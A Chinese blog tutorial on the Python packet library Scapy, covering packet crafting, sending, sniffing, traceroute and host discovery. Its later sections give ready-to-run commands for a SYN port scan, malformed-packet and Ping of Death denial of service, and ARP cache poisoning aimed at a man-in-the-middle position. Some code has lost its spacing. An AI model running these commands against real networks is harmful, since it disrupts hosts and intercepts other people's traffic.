我们可以拿 scapy 做什么

记得当初学习计算机网络的时候,在机房用得比较多的是老旧的 sniffer,自己动手的时候用的比较多的是 wireshark。后面做 Web 开发的时候,用 Fiddler 比较顺手,也比较轻便,满足日常开发的需求。当然熟练的话也可以直接用 tcpdump 之类的工具。后面在用 Python 做安全方面的内容的时候,发现了 Scapy 这么一个强大的嗅探库(不是爬虫框架 Scrapy),支持 Py2 和 Py3,而且在 QPython 上也集成了。这个还真的是利器啊!

什么是 Scapy

Scapy 官网 上一开始就是对着自家的程序一通吹,如“强大的交互式包操作工具”、“支持大量协议的包解析和包构造”、“轻松取代 hping,85% 的 nmap,arpspoof,tcpdump 等等”。不过归根到底,它说的强大功能,都是基于 Scapy 是一个强大的网络数据包操作工具才能实现得了的。

安装 Scapy

Scapy 有 1.2 和 2.x 两种版本,前者据文档介绍已经是弃用状态了。因为这个库比较依赖 *nix 系统的 libpcap、libdnet 等库,因此在 Linux、BSD、Mac OS X 上可以简单的使用 pip install scapy 就能安装 Scapy(当然文档还会说明如何从 git 上获取最新版本的 Scapy)。对于 Windows 系统,会稍微麻烦一点,要先安装最新版的 Npcap,当然在 Winpcap 下也是可以运行的(这个如果你装过 Fiddler 按推荐步骤应该是连带安装了的,不过需要注意),然后也是一样通过 pip 工具安装 Scapy。

安装完成后,在 Python 交互式界面输入:

1

>>> fromscapy.allimport*

没有报错,证明安装成功(v1.2 版本使用 from scapy import *)

Scapy 也是可以直接运行的,安装成功后在命令行或 shell 运行 scapy 会进入到 Scapy 的交互式界面。前面部分信息会提示当前环境不可以使用什么功能,如希望使用 plot 需要 matplotlib,使用 psdump 或 pdfdump 需要 PyX 等。

Scapy 使用基础

构造数据包

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

>>> fromscapy.allimport*

>>> ip_package = IP(dst='www.163.com', ttl=80)

>>> ip_package.src

'10.0.3.173'

>>> ip_package.dst

Net('www.163.com')

>>> ip_package.ttl

80

# 显示 raw layer

>>> raw_package = raw(ip_package)

>>> raw_package

b'E\x00\x00\x14\x00\x01\x00\x00P\x00\x19\x92\n\x00\x03\xad}Y\xc6Q'

# 显示以太网信息

>>> ether = Ether(raw_pacakge)

>>> ether

>

如上所示,我们构造了一个目标地址为 163.com 的,生存周期为 80 的一个 IP 数据包,并打印出其信息

除了 IP 协议,Scapy 还支持多种协议类型的包数据,而且这些包的数据还可以通过 / 来进行组合,下层可以根据上层重载他的一个或多个默认字段。组合的层次顺序参照 OSI 标准模型,如:

1

2

3

>>> package = IP(dst='www.163.com')/TCP(dport=80)/"GET / HTTP/1.1\r\n\r\n"

>>> package

>>

这里组合了 IP 层、TCP 层以及 HTTP 层级的包(HTTP 报头 约定以 \r\n\r\n 结尾)。

构造多个数据包

上面我们仅仅是构造了一个数据包,那么如何用 Scapy 构造多个数据报呢?对于包数据(甚至是每一层)的每个字段都可以赋值集合,显式指定集合可以生成对应的每一个字段元素对应的包:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

# 指定掩码

>>> a=IP(dst="www.slashdot.org/30")

>>> a

>>> [pforpina]

[, ,

, ]

# 指定生命周期

>>> b=IP(ttl=[1,2,(5,9)])

>>> b

>>> [pforpinb]

[, , , ,

, , ]

# 指定目标端口

>>> c=TCP(dport=[80,443])

>>> [pforpina/c]

[>,

>,

>,

>,

>,

>,

>,

>]

fuzz() 函数

函数 fuzz 可以根据模板快速构造数据包,同时会保证其他参数是正确的,文档的例子:

1

>>> IP(dst="www.bing.com")/fuzz(UDP()/NTP(version=4))

在这个包里面,IP 层是指定了 dst(注意 fuzz 对于 IP 层也可以使用,但是 src 和 dst 不能是随机的必须指定),而 UDP 和 NTP 层是 fuzz 的。因此这个包在 IP 层之上除了检验和以及 UDP 端口为 123(NTP 协议规定)之外,其他的字段都是随机的。

批量操作数据包

Scapy 也提供了一些方法来操作一组数据包,如下表所示:

方法说明

summary()显式每一个数据包的摘要列表

nsummary()同上,可以指定数据包的数量

filter()返回一个 lambda 过滤后的数据包列表

hexdump()以 hexdump 的形式显示全部数据包

hexraw()以 hexdump 的形式显示全部数据包的 Raw Layer

padding()以填充 hexdump 的形式返回全部数据包

nzpadding()以非零填充 hexdump 的形式返回全部数据包

发送数据包

Scapy 提供了两个函数来发送数据包:send() 以及 sendp()。send() 作用于第三层也就是网络层,也就是说它会帮你处理掉路由以及下面两层(即物理层和链路层)。当然你可以使用 sendp() 作用于第二层,这需要你指定恰当的 interface 以及恰当的链路协议。当指定管关键字参数 return_packets 为 True 是会返回发送的包列表。

1

2

3

4

5

6

7

8

>>> send(IP(dst="www.baidu.com")/TCP(dport=80), return_packets=True)

.

Sent1packets.

# 注意 Window 因为用了 Npcap 作为中间组件,所以基本上指定的 iface 都是 Npcap Loopback Adapter

>>> sendp("Hello World", iface="Npcap Loopback Adapter", loop=1, inter=0.2)

............................................................................................................

Sent40packets.

发送并接收数据包(sr)

sr 函数负责发送数据包并接收应答,返回值是一对数据包以及其应答,还包括没有被应答的数据包,所以一共有两个列表。

sr1 函数是上面的一个变种,只返回一个应答数据包列表。这些发送的数据包必须位于第三层之上(IP、ARP 等等)。

srp 函数和 sr 类似,但是作用于第二层之上(Ethernet, 802.3 等等),如果没有任何相应,则当到达超时时间的时候将得到一个 None 的值。

1

2

3

4

5

6

7

8

9

10

# 给 baidu.com 发送 tcp 报文

>>> ans, unans = sr(IP(dst="www.baidu.com")/TCP(dport=[80,443]),inter=0.5,retry=-2,timeout=1)

Begin emission:

.*.........*Finished sending2packets.

Received12packets, got2answers, remaining0packets

>>> ans

>>> unans

导出导入 PCAP 文件

Scapy 可以读取 pcap 文件以及往 pcap 文件写入包数据

1

2

3

4

5

>>> a = rdpcap("/spare/captures/isakmp.cap")

>>> a

# 或者

>>> a = sniff(offline="isakmp.cap")

1

>>> wrpcap("temp.cap", pkts)

使用 Scapy 进行嗅探

使用 Scapy 进行嗅探操作,最核心的函数即是 sniff。它有一些常用的入参,如下表所示:

参数说明

count需要捕获的包的个数,0 代表无限

store是否需要存储捕获到的包

filter指定嗅探规则过滤,遵循 BPF (伯克利封包过滤器)

timeout指定超时时间

iface指定嗅探的网络接口或网络接口列表,默认为 None,即在所有网络接口上嗅探

prn传入一个可调用对象,将会应用到每个捕获到的数据包上,如果有返回值,那么它不会显示

offline从 pcap 文件读取包数据而不是通过嗅探的方式获得

1

2

3

4

5

6

7

8

# 嗅探实例

>>> sniff(filter="tcp and port 80 and target www.acfun.cn", count=3)

>>> a = _

>>> a.nsummary()

0000Ether / IP / TCP10.0.3.173:62061>202.105.176.96:https A / Raw

0001Ether / IP / TCP202.105.176.96:https >10.0.3.173:62061A

0002Ether / IP / TCP10.0.3.173:57087>59.110.88.58:https PA / Raw

Scapy 使用实例

获取本机 IP 信息

一般网上给出的都是 socket 的方式,先获取计算机名,再根据计算机名获取 host 地址(即 IP 地址),现在使用 Scapy 可以直接构造 IP 数据包并获取其 src 的方式得到:

1

2

>>> a = IP(dst="www.baidu.com")

>>> a.src

至于在 Windows 上需要知道自己具体的网卡信息以填入 iface 中,因此可以使用 show_interfaces() 函数获得。更多的内置函数可以通过 lsc() 函数查看。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

>>> lsc()

IPID_count          : Identify IP id values classesina list of packets

arpcachepoison      : Poison target's cache with (your MAC,victim's IP) couple

arping              : Send ARP who-has requests to determine which hosts are up

bind_layers        : Bind2layers on some specific fields' values

bridge_and_sniff    : Forward traffic between interfaces if1 and if2, sniff and return

chexdump            :  Build a per byte hexadecimal representation

computeNIGroupAddr  : Compute the NI group Address. Can take a FQDN as input parameter

corrupt_bits        : Flip a given percentage or number of bits from a string

corrupt_bytes      : Corrupt a given percentage or number of bytes from a string

defrag              : defrag(plist) -> ([not fragmented], [defragmented],

defragment          : defrag(plist) -> plist defragmented as much as possible

dhcp_request        : --

dyndns_add          : Send a DNS add message to a nameserver for "name" to have a new "rdata"

dyndns_del          : Send a DNS delete message to a nameserver for "name"

etherleak          : Exploit Etherleak flaw

fletcher16_checkbytes:  Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.

fletcher16_checksum :  Calculates Fletcher-16 checksum of the given buffer.

fragleak            : --

fragleak2          : --

fragment            : Fragment a big IP datagram

fuzz                : Transform a layer into a fuzzy layer by replacing some default values by random objects

getmacbyip          : Return MAC address corresponding to a given IP address

getmacbyip6        : Returns the MAC address corresponding to an IPv6 address

hexdiff            : Show differences between 2 binary strings

hexdump            :  Build a tcpdump like hexadecimal view

hexedit            : --

hexstr              : --

import_hexcap      : --

is_promisc          : Try to guess if target is in Promisc mode. The target is provided by its ip.

linehexdump        :  Build an equivalent view of hexdump() on a single line

ls                  : List  available layers, or infos on a given layer class or name

neighsol            : Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr

...

ARP 主机发现

使用 ARP Ping 是在本地以太网内发现主机的最快的方法:

1

2

3

4

>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.0.3.0/24"), timeout=2)

# 也可以使用内置的 arp ping 方法

>>> arping("10.0.3.*")

基于 TCP 的端口扫描

给每个端口发送 TCP SYN 包,如果收到 SYN-ACK 包或 TCP RST 复位包或者 ICMP 错误,证明端口存在。

1

2

3

>>> res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", dport=(1,1024)) )

# 查看结果

>>> res.nsummary(prn=lambda(s,r): r.src, lfilter=lambda(s,r): r.haslayer(ISAKMP))

Scapy 文档后面也提到过了对于一些防火墙会把没有 TCP 时间戳的包丢弃,所以我们需要加上其他选项

1

>>> res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", options=[('Timestamp', (0,0))], dport=(1,1024)) )

TCP 路由跟踪(TCP traceroute)

我们可以自行通过 sr 发送构造的 TCP 数据包来做 TCP 路由跟踪

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

>>> ans, unans = sr(IP(dst="www.baidu.com", ttl=(4,25), id=RandShort())/TCP(flags=0x2))

Begin emission:

..Finished sending22packets.

.....*...*.......*.**..***..*.**.******.........

Received50packets, got17answers, remaining5packets

>>> forsnd, rcvinans:

... print(snd.ttl, rcv.src, isinstance(rcv.payload, TCP))

...

4183.56.31.29False

559.37.176.153False

614.215.177.39True

714.215.177.39True

8113.96.4.106False

914.215.177.39True

...

2014.215.177.39True

>>>

实际上 TCP Traceroute 已经提供了一个单独的函数来实现:

1

2

3

4

5

6

7

8

9

10

11

12

13

>>> traceroute("www.baidu.com")

Begin emission:

Finished sending30packets.

**********************

Received22packets, got22answers, remaining8packets

14.215.177.39:tcp80

210.1.1.111

3183.56.30.20911

7113.96.4.10211

1214.215.177.39SA

...

3014.215.177.39SA

(, )

DNS 跟踪

出自 Scapy 的文档说明,直接在 traceroute 函数设置 l4 参数作为一个完整的数据包来实现:

1

2

3

4

5

6

7

8

9

10

11

12

>>> ans, unans = traceroute("www.baidu.com", l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))

Begin emission:

Finished sending30packets.

..*.*...***..*..................................

Received48packets, got6answers, remaining24packets

14.215.177.38:udp53

210.1.1.111

3183.56.30.20911

4183.56.31.2911

559.37.176.15311

6183.56.34.3311

7113.96.4.7811

畸形报文攻击

畸形报文攻击是通过向目标系统发送有缺陷的IP报文,使得目标系统在处理这样的 IP 包时会出现崩溃,给目标系统带来损失。主要的畸形报文攻击有 Ping of Death、Teardrop 等。如下所示生成一个畸形报文:

1

>>> send(IP(dst="10.0.3.234", ihl=2, version=3)/ICMP())

如下构造 Ping of Death:

1

>>> send(fragment(IP(dst="10.0.3.234")/ICMP()/("X"*60000)))

Ping of Death 俗称 “死拼”,其攻击原理是攻击者 A 向受害者 B 发送一些尺寸超大的 ICMP (Ping 命令使用的是 ICMP 报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)。由于 IP 报文的最大长度是 216-1=65535 个字节,那么去除 IP 首部的 20 个字节和 ICMP 首部的 8 个字节,实际数据部分长度最大为:65535-20-8=65507 个字节。所谓的尺寸超大的 ICMP 报文就是指数据部分长度超过 65507 个字节的 ICMP 报文。而且由于 IP 报文会分片,单片报文一般不超过显示,实际上会到达目的机器后才会重组导致报文过大。

ARP Cache 投毒

ARP 协议的工作方式

ARP 协议负责通过 IP 地址找到 MAC 地址,在以太网中所使用的地址是 MAC 地址。它的工作方式如下:

一台机器 A 想知道拥有 10.0.2.105 这个 IP 地址的主机并进行通信,因此机器 A 向所在网段的所有机器发送过一个广播包,询问谁的 IP 是 “10.0.2.105”。正常情况下其他机器会忽略这个消息,只有 10.0.2.105 IP 的主机会响应,返回自己的 MAC 地址。然后机器 A 把对应的 IP 地址和 MAC 地址缓存到 ARP 缓存表,下次直接查询这个表而不发送 ARP 请求(Windows 下 ARP 缓存表可以用 arp -a 查看)。

如何实现

ARP 缓存投毒,又称作 ARP 欺骗,是非常常用的一种攻击手段,一般用在中间人攻击里面,将攻击方伪装成网关(即网关的 IP 地址对应攻击方的 MAC 地址)。使用 Scapy 可以简洁地实现 ARP Cache 投毒。

1

2

3

4

5

6

7

8

9

10

# 先获取任意已知主机的 MAC 地址

>>> mac = ARP(pdst="10.0.3.1")# 或 getmacbyip("10.0.3.1")

>>> mac.hwsrc# 0c:da:41:61:f3:67

>>> mac1 = sr1(ARP(pdst="10.0.3.234"))# 或 getmacbyip("10.0.3.234")

>>> mac1.hwsrc# 94:65:2d:2a:10:ad

# 本机的 MAC 地址可以查看 ipconfig 得到:68:ec:c5:ce:21:fb

# 欺骗 10.0.3.234 主机,误以为本机(10.0.3.173)是网关(10.0.3.1)

>>> sendp(Ether(dst="94:65:2d:2a:10:ad")/ARP(op="is-at", psrc="10.0.3.1", pdst="10.0.3.234"), inter=RandNum(10,40), loop=1)# op is-at 代表 arp 应答包, who-has 代表 arp 请求包

# 欺骗网关 10.0.3.1,误以为本机(10.0.3.173)才是 10.0.3.234 主机

>>> srploop(Ether(dst="0c:da:41:61:f3:67")/ARP(op=2, psrc="10.0.3.234", hwsrc="68:ec:c5:ce:21:fb", pdst="10.0.3.1"))

实际上 Scapy 也提供了封装好的方法来实现 ARP 缓存投毒:

1

2

3

# 效果和上述例子一样

>>> arpcachepoison("10.0.3.234","10.0.3.1", interval=2)

# 分别指定投毒的目标地址 target,还有要伪装的地址 victim,以及发送的间隔时间

MOTS 攻击

在 FreeBuf 里有关于 MOTS(Man-on-the-Side)的具体介绍,在这里仅简述一下信息:

Man-on-the-side 攻击是攻击者监听通信信道利用时间差注入新数据。它有两个特征:

攻击者能够读取流量信息并插入新消息,但是不会修改或删除通信方发送的消息。

当受害者发出请求时,攻击者利用时间优势让自己发送的响应先于合法的响应到达受害者。

这些在 MOTS 中注入的数据包之所以难以被检测,因为除了应用层的数据之外,一般都会带有 TCP FIN 标志位,客户端(受害者)得到这个数据包的时候,除了解析应用层的数据外,还会关闭 TCP 套接字并返回 FIN+ACK 作为应答,这样实际的包到达的时候会发现 TCP 套接字早就被关闭了。

你可能感兴趣的:(我们可以拿 scapy 做什么)